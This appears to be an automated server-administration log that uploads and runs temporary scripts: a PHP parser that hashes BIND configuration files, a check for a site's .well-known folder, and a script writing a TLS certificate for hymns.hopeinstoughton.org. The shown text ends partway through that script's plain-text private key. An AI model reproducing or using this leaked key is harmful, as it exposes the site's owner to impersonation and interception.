MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-30 00:11:55: Establishing a connection
2025-08-30 00:11:55: 

PUT: /tmp/pkp410424

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-30 00:11:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp410424; rm /tmp/pkp410424'

2025-08-30 00:11:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-30 06:00:01: Establishing a connection
2025-08-30 06:00:02: Establishing a connection
2025-08-30 06:00:03: 

PUT: /tmp/pkp485098

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:00:04: 

chmod 755 /tmp/pkp485098; /tmp/pkp485098; rm /tmp/pkp485098

2025-08-30 06:00:05: 


0


2025-08-30 06:00:34: Establishing a connection
2025-08-30 06:00:35: 

PUT: /tmp/pkp670191

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
9d:e5:1a:e6:ff:a6:10:a9:29:91:ac:ae:36:c8:90:62

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBkrY18H+SClnHhWYxcv98yhvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjAzWhcNMjUxMTI4MDUwMjAyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA6UipjSb0cOqagJTAsYpATGhxiDOJyhlXrfO9uuJELUn0QZcs
dNapo5okVhk02ztWez1uuojOIwtlbfYRw/jadqs7SxUdeSTXKb4Xi+gmX6DUwRs/
D0lRvQYLIXbW1KaFPbsO3lN0nLGUEkl8T2mEiVMkEgH+y1CGpRebg8HnNBdXNsc+
0xBCXW04TVTqLp9ETYUK5t8HT9Cvm3ySDiL+xhju8SLayPvLGNq+UndHb4eDRH5l
AY0oZF0LssBeFOCJOajVF037clkTdcEvC8bAH7mTp+tCfrzcLO9U2cbATkGuXIGb
pDP3BEbQU0/vPwLb4CC4qiIwHYXcxCBZ3tadFwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBRbtYY0Far7aVzfQAEG3Ng1yQRwTTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+
P+AAAAGY+ZAyiAAABAMARjBEAiAuArqIBOA8XXZzUZOT5G/09ddmJh9jnB8XXaw/
eOsv1gIgTghq1FAU46eezIcRmPu0iVqh1aXyEEnQoYcj4CA73isAdgDd3Mo0ldfh
FgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZj5kDKiAAAEAwBHMEUCIQDTQo9v
TgDrjdlMss/2F1JwI0QPlcldcoEy2rl9aL89HQIgc+qx4IcBJNZ0hIDSpm/XZR3X
W+4/pAPp8aCAMmCeCQAwDQYJKoZIhvcNAQELBQADggEBAEkQQvj5GkmcpItbw05G
jKWnXjeIPh0IeX/ZHyyojl4c6XLUsnkeckL7LWwmOqHkoDHL1qZLoLjsu21jCkj6
noyxuAFf8wfRh3BzVd+QqSfGZu4BQBaC8ZuJyf4kzcjb/Sfh7XIjNdiwToO+1UAo
2IWK4n5HnKi5gZkJJ5pv3Ct0Il4LFAfcK0sIzE6XUvccwa4AimlgulvzlqL9+Ud/
r4L53TCumrdcYR8RS7dtK+mgmrf5w9L9SajA66blgORZ90qe8IadG3LmKnYQw/R0
JrKoFIsxdhRWKheG/2YeybTX3Wo0uDL3HzZfNtslB0uiYyBnEJBOqUEHDdetouuN
JLU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDpSKmNJvRw6pqA
lMCxikBMaHGIM4nKGVet87264kQtSfRBlyx01qmjmiRWGTTbO1Z7PW66iM4jC2Vt
9hHD+Np2qztLFR15JNcpvheL6CZfoNTBGz8PSVG9BgshdtbUpoU9uw7eU3ScsZQS
SXxPaYSJUyQSAf7LUIalF5uDwec0F1c2xz7TEEJdbThNVOoun0RNhQrm3wdP0K+b
fJIOIv7GGO7xItrI+8sY2r5Sd0dvh4NEfmUBjShkXQuywF4U4Ik5qNUXTftyWRN1
wS8LxsAfuZOn60J+vNws71TZxsBOQa5cgZukM/cERtBTT+8/AtvgILiqIjAdhdzE
IFne1p0XAgMBAAECggEBANNhvADi42vNqOIJ5/D3zPtvSDCaQqiV/hTpX2oPzKcc
8+7bBLV6LYzJB1Pc00AzrFFPgR4VCHRIx0e0SLTCsXIGBlwqbeJvt2djkAJ+AQd1
vFKeVa2MSjx1VXClNlTJ7sHY1cgu5uN1JS7M1489lZK5e1214SJpfRfrJEdnVBCl
ushhGDUeeoGtvEGgE9ond2pL/0EATEUYs5dxFC3ZEzFgrtPgPdBTradIVb5/BVRT
t1yIIbmDvgq0X/30xgkA1BSx8EoYFg9MoQFSXMe8QDwcYBhymUOEmE9GKWu8x9tn
QuD1IVPrZpFBY+V2zA72627VP3a2oED7ERp+NLv0/UECgYEA9TLyl9zm/jm2Cxtw
XUcVR0pr8026Hn0KJRwOtKo/O7BNYqfNZUNUTABmet/VJoU1r3OURU34cnAbb2yD
EqA5Bi+Y5VdnRtwCtrl2Sc/uysJud/i80YgDmOw95FbASGQtN9C/vaEjYOiCYjK6
liV6GXbSu2DPamhxnYyX3yn5wA0CgYEA849ZmT5Hr4hZRrfkY4tf1oQ9FyDaoqcX
0ymAOyGviyukttvXH9pZUn2Uc/oCpG+TD8nhnOsMLVJcq+MaIodZ9ldkPJrKh07V
V/Nau7yC+0txiyB1/si6Chckc7YBYh4XOr5rVBeiJZ/+AH8rtOFgOfRSCCIEE5Tj
VbaWczahpLMCgYEAjPXZGQzZjtVGnmQL2NQAm5dhL+JDWTuxFVxn59zntTzJgCnP
nqNyVq70OzdqplZ2YoMjfiQw7DkezJOpVo/duHysfUweB1J8DOfZ5N0w/keAkl/g
zORQjR1jB14H9JYCmM/dKvr0B8YjDqjzM1YgN3tj8mzZUObySgyFUroi5hECgYEA
